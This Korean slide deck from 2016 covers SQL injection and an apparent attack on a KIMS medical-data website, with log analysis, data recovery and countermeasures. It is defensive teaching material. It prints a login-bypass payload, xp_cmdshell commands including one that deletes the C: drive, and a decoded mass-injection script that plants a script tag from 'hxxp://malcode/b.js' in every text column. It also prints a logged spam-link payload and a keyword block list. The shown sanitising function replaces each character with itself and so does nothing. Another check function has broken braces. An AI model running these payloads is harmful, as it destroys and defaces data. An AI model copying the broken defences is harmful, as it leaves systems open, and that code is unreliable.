DB Injection과 대응방안 2016. 2. 19 nwkim
Contents DB Injection이란 SQL Injection 취약점 KIMS Database 사고 경위 질의 응답 DB Injection 이란 Injection 종류 KIMS Database 사고 경위 Database 복구 Injection 대응방안 질의 응답 참고문헌
I. DB Injection이란
I. DB Injection이란 1. DB Injection 2. DB Injection 예시 “악성 SQL문 주입공격” 또는 “Mass SQL Injection”으로 불림 홈페이지와 데이터베이스가 데이터를 주고 받을 때 적절한 입력 값 검증을 하지 않아 공격자가 주입한 SQL 명령어가 실행되는 행위를 일컫음 2. DB Injection 예시 Default.aspx string _ID = Request["ID"] ?? ""; // admin' -- string _PW = Request["PW"] ?? ""; // 1111 string query = "select * from [User] where ID ='" + _ID + "' and PW ='" + _PW + "'"; query = "select * from [User] where id ='admin'--' and pw ='1111'"; SQL Server Management Studio select * from [User] where ID = 'admin' --' and PW = '1111';
II. SQL Injection 취약점
II. SQL Injection 취약점(1/3) 1. 입력받은 값 검증 웹보안 취약점의 원인으로는 웹 어플리케이션이 전달 받아 처리하는 입력값의 검증 절차 문제가 가장 많음[1] 입력값 검증 문제의 대표적인 예로는 SQL Injection 공격과 XSS공격을 들 수 있으며, SQL Injection 취약점이 존재하는 경우에는 로그인 인증우회, 시스템 명령어 실행, 회원 개인정보와 같은 DB 자료 유출 등의 피해 발생 MS-SQL 서버의 확장 프로시저 중 “xp_cmdshell”을 이용하면 윈도우즈 OS의 내장 명령어를 사용할 수 있음[2][3] SQL Server Management Studio EXEC master..xp_cmdshell 'dir c:\' -- 목록 보기 EXEC master..xp_cmdshell 'dir c:\ > C:\test.txt' -- 목록을 파일로 저장 EXEC master..xp_cmdshell 'del c:\ /q/s' -- 삭제 [1] Web Application Security Statistics Project http://www.webappsec.org/projects/statistics/ [2] KrCERT/CC 홈페이지 > “웹보안 4종 가이드“ 중 ”홈페이지 개발 보안 가이드“ 제 3장 6절 ”악의적인 명령어 주입 공격(SQL Injection)“ 중 ”(2) MS-SQL상에서의 시스템 명령어 실행” [3] SQL Injection – xp_cmdshell http://egloos.zum.com/totoriver/v/3012348
II. SQL Injection 취약점(2/3) 2. 공격 스크립트 분석 CAST 함수를 사용하여 인코딩한 공격 형태 DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228 -- 중간생략 -- 626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);-- 로그분석 시 난독화를 이유로 변형된 상태 dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.Name,b.Name%2 -- 중간생략 -- oSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;-- 디코딩 결과 DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR .xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=hxxp://malcode/b.js></script>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
II. SQL Injection 취약점(3/3) 3. 공격 스크립트 실행 분석
III. KIMS Database 사고 경위
III. KIMS Database 사고 경위 1. Injection 발견 HealthcareData 서버에 KIMS_Custom DB는 KIMSeDIS 고객을 위해 사용되는 DB로써 월별 데이터 비교에 사용되고 있음 DreamCIS 거래처의 월단위 비교자료 생성 중 Update Flag를 가진 데이터가 30,000개가 넘어가는 현상 발견(이 때 총 약품 수는 약 6만 여개, 평소 Update Flag 2천여개 미만)
III. KIMS Database 사고 경위 2. IIS Log 분석(1/2) IIS Log는 W3C형식[1]을 사용하며, 필드는 우측과 같음 추가적으로 MS에서는 W3C Log 분석툴(Log Parser)[2]을 제공하고 있음 Log Parser 자체는 CMD 프로그램이라 GUI 버전인 Log Parser Studio[3] 또한 TechNet[4]에서 지원 중 [1] W3C Logging https://msdn.microsoft.com/ko-kr/library/windows/desktop/aa814385(v=vs.85).aspx [2] Log Parser https://www.microsoft.com/en-us/download/details.aspx?id=24659 [3] Log Parser Studio http://gallery.technet.microsoft.com/Log-Parser-Studio-cd458765 [4] TechNet https://technet.microsoft.com/ko-kr/
III. KIMS Database 사고 경위 2. IIS Log 분석(2/2) KIMSeDIS 서버에서 운영되고 있는 모든 사이트에 대하여 로그 분석 결과적으로는 KIMSeDIS 웹사이트가 공격당한 것으로 밝혀졌으며, 한 번이 아닌 9월 11일 부터 11월 17일 까지 총 72번의 공격시도가 있었음 추가적으로 KIMS POC 사이트(http://www.kimspoc.co.kr/)에서도 다수의 공격이 있었음
III. KIMS Database 사고 경위 3. Log Parser Studio 사용법(1/2)
III. KIMS Database 사고 경위 3. Log Parser Studio 사용법(2/2) SELECT logfilename, date, time, logrow, cs(referer), c-ip AS IP, cs-uri-stem AS Uri, cs-uri-query AS ErrorMsg FROM '[LOGFILEPATH]' WHERE (cs-uri-stem LIKE '%.asp%') AND (cs-uri-query LIKE '%declare%') 검색결과 : 검색된 로그파일명, 날짜, 시간, 검색된 행, referer, Client-IP, Uri, Request 검색 조건 : 호출된 주소에 “asp”를 포함하는 경우, Request에 “declare”를 포함하는 경우 항목 내용 LogFilename D:\KIMSeDIS_Log\W3SVC4\u_ex150911.log date 2015-09-11 오전 12:00:00 Time(GMT) 2000-01-01 오전 2:43:32 LogRow 446906 cs(Referer) http://google.com';declare+@b+cursor;declare+@s+varchar(8000);<생략> IP 37.252.125.234 Uri /Downloader.aspx ErrorMsg Code=EAJUSTB0DCP';declare%20@b%20cursor;declare%20@s%20varchar(8000);<생략>
IV. Database 복구방법
IV. Database 복구방법 1. 최고의 방법 데이터베이스 백업본을 사용한 복구
IV. Database 복구방법 2. 복구 전략 실제 공격쿼리 분석 SQL Server Management Studio update [''+TABLE_NAME+''] set [''+COLUMN_NAME+''] = [''+COLUMN_NAME+''] + case ABS(CHECKSUM(NewId())) % 10 when 0 then '''''' + char(60) + '' div style = "display:none" '' + char(62) + '' wife cheaters '' + char(60) + '' a href = "http:''+char(47)+char(47)+''www.survivingediscovery.com''+char(47)+''abortionpill''+char(47)+''page''+char(47)+''what-is-infidelity.aspx" '' + char(62) + '''''' + case ABS(CHECKSUM(NewId())) % 3 then '''' click '''' when 1 then '''' survivingediscovery.com '''' else '''' site '''' end + '''''' + char(60) + char(47) + '' a '' + char(62) + '' husband cheated on me '' + char(60) + char(47) + '' div '' + char(62) + '''''' else '''''''' end '' from sysindexes as i 실제 공격쿼리 분석 모든 DB, Table, Column에 대해 커서를 사용하여 반복적인 업데이트
IV. Database 복구방법 3. 복구 방법 기존 데이터에 데이터를 추가하는 형식으로 공격이 진행되었음 데이터의 손실은 없다고 가정하여 공격당해 추가된 부분만 업데이트로 제거하기로 결정 모든 업데이트문의 앞과 뒤는 char(60)으로 시작해서 char(62)로 끝남[1] <div style=“display:none” > 중략</div> 형식을 사용 공격 횟수가 많아 같은 Column에 여러 부분의 DIV가 사용된 경우가 있음 form1.cs using (DBHandle db = new DBHandle()) { ds = db.ExecuteDataSet(null, string.Format( @" select distinct {0} as data from {1} where {0} like '%display%' ", colname, tablename), CommandType.Text); } foreach (DataRow r in ds.Tables[0].Rows) string str = r["data"].ToString(); Regex rx = new Regex("<div.*div>", System.Text.RegularExpressions.RegexOptions.Multiline); foreach (Match m in rx.Matches(str)) hackList.Add(m.ToString()); [1] ASCII 코드표 참조, DEC 60은 “<“, DEC 62는 “>”
V. Injection 대응방안
V. Injection 대응방안 1. 쿼리 방식(1/2) 모든 SQL문은 SQL Server에서 실행되기에 앞서 컴파일 과정을 거침 한 번 컴파일 된 SQL은 캐쉬에 저장되어 동일한 SQL이 다시 요청될 때는 컴파일 없이 실행 분류 장점 단점 Stored Procedure 실행 계획이 캐싱되어 재사용 가능성 높음 동작 전 인자값에 대한 검사를 실행함 사용자에 대해 저장 프로시져에 대해서만 권한을 주어 테이블에 대한 직접 Access 권한을 주지 않음(Injection 방어) 네트워크 트래픽 최소화 버전관리의 어려움 Prepared Query 실행 계획이 저장 프로시져와 동일하게 동작 Injection 구문이 들어와도 해당 문자열 전체를 하나의 파라미터로 보기 때문에 SQL Injection 방지 처음 접하는 경우 거부감이 들 수 있음 Adhoc 사용이 용이함 동적 SQL 사용이 편함 매 실행 시 컴파일 과정을 거침 Injection에 매우 취약
V. Injection 대응방안 1. 쿼리 방식(2/2) form1.cs private void LoadDataSafe(string author) { string connStr = "Data Source=.;Integrated Security=SSPI;Database=Test"; using (var conn = new SqlConnection(connStr)) conn.Open(); string sql = "SELECT title FROM book WHERE author = @author"; SqlCommand cmd = new SqlCommand(sql, conn); var p1 = new SqlParameter("@author", author); cmd.Parameters.Add(p1); SqlDataReader reader = cmd.ExecuteReader(); Label1.Text = author; while (reader.Read()) ListBox1.Items.Add(reader[0].ToString()); } [1] 예제로 배우는 C# 프로그래밍 : 해커들의 백도어 SQL Injection http://www.csharpstudy.com/Mistake/Article/9
V. Injection 대응방안 2. 입력값 유효성 체크 모든 입력값은 일정한 규칙을 가지고 있음(예를 들어 Integer, float, string 등) 입력값에 절대 들어가지 말아야 할 문자열들 Declare, sys.databases, sysdatabases, sysobject, syscolumns, cursor, DB_NAME(), varchar 등 만약 저 문구들이 들어가야 하게끔 만들었다면, 개발일정을 미루어서라도 다른 방법으로 처리해야 함 예를 들어 Paging 처리를 할 때 입력받을 현재 페이지 번호는 Integer 형식으로 받거나, Integer 형식으로 변환되는지 확인작업 필요 Default.aspx public bool InjectionCheck(string mParam) { if ((mParam.ToUpper().Contains("SELECT") || mParam.ToUpper().Contains("FROM"))) return true; } else return false;
V. Injection 대응방안 3. 특수문자 치환 입력값 검증과 동시에 의미있는 부표로 사용되는 특수문자에 대해서는 표기는 정상적으로 되나 의미있게 사용되지는 않도록 문자열을 치환하도록 한다. 예를 들면 아래 함수와 같다. Default.aspx public string SpecialCharReplace(string str) { str = str.Replace("<", "<"); str = str.Replace(">", ">"); str = str.Replace("\"", """); str = str.Replace("|", "|"); str = str.Replace("$", "$"); str = str.Replace("%", "%"); str = str.Replace("'", "'"); str = str.Replace("/", "/"); str = str.Replace("(", "("); str = str.Replace(")", ")"); str = str.Replace(",", ","); return str; }
V. Injection 대응방안 사용가능 객체[1]와 권한[2]을 Database별 사용자 분리 4. 데이터베이스 권한 사용가능 객체[1]와 권한[2]을 User Role에 맞추어 적용 Database별 사용자 분리 [1] Table, View, Stored Procedure 등 [2] Select, Insert, Update, Delete, Drop 등
VI. 질의 응답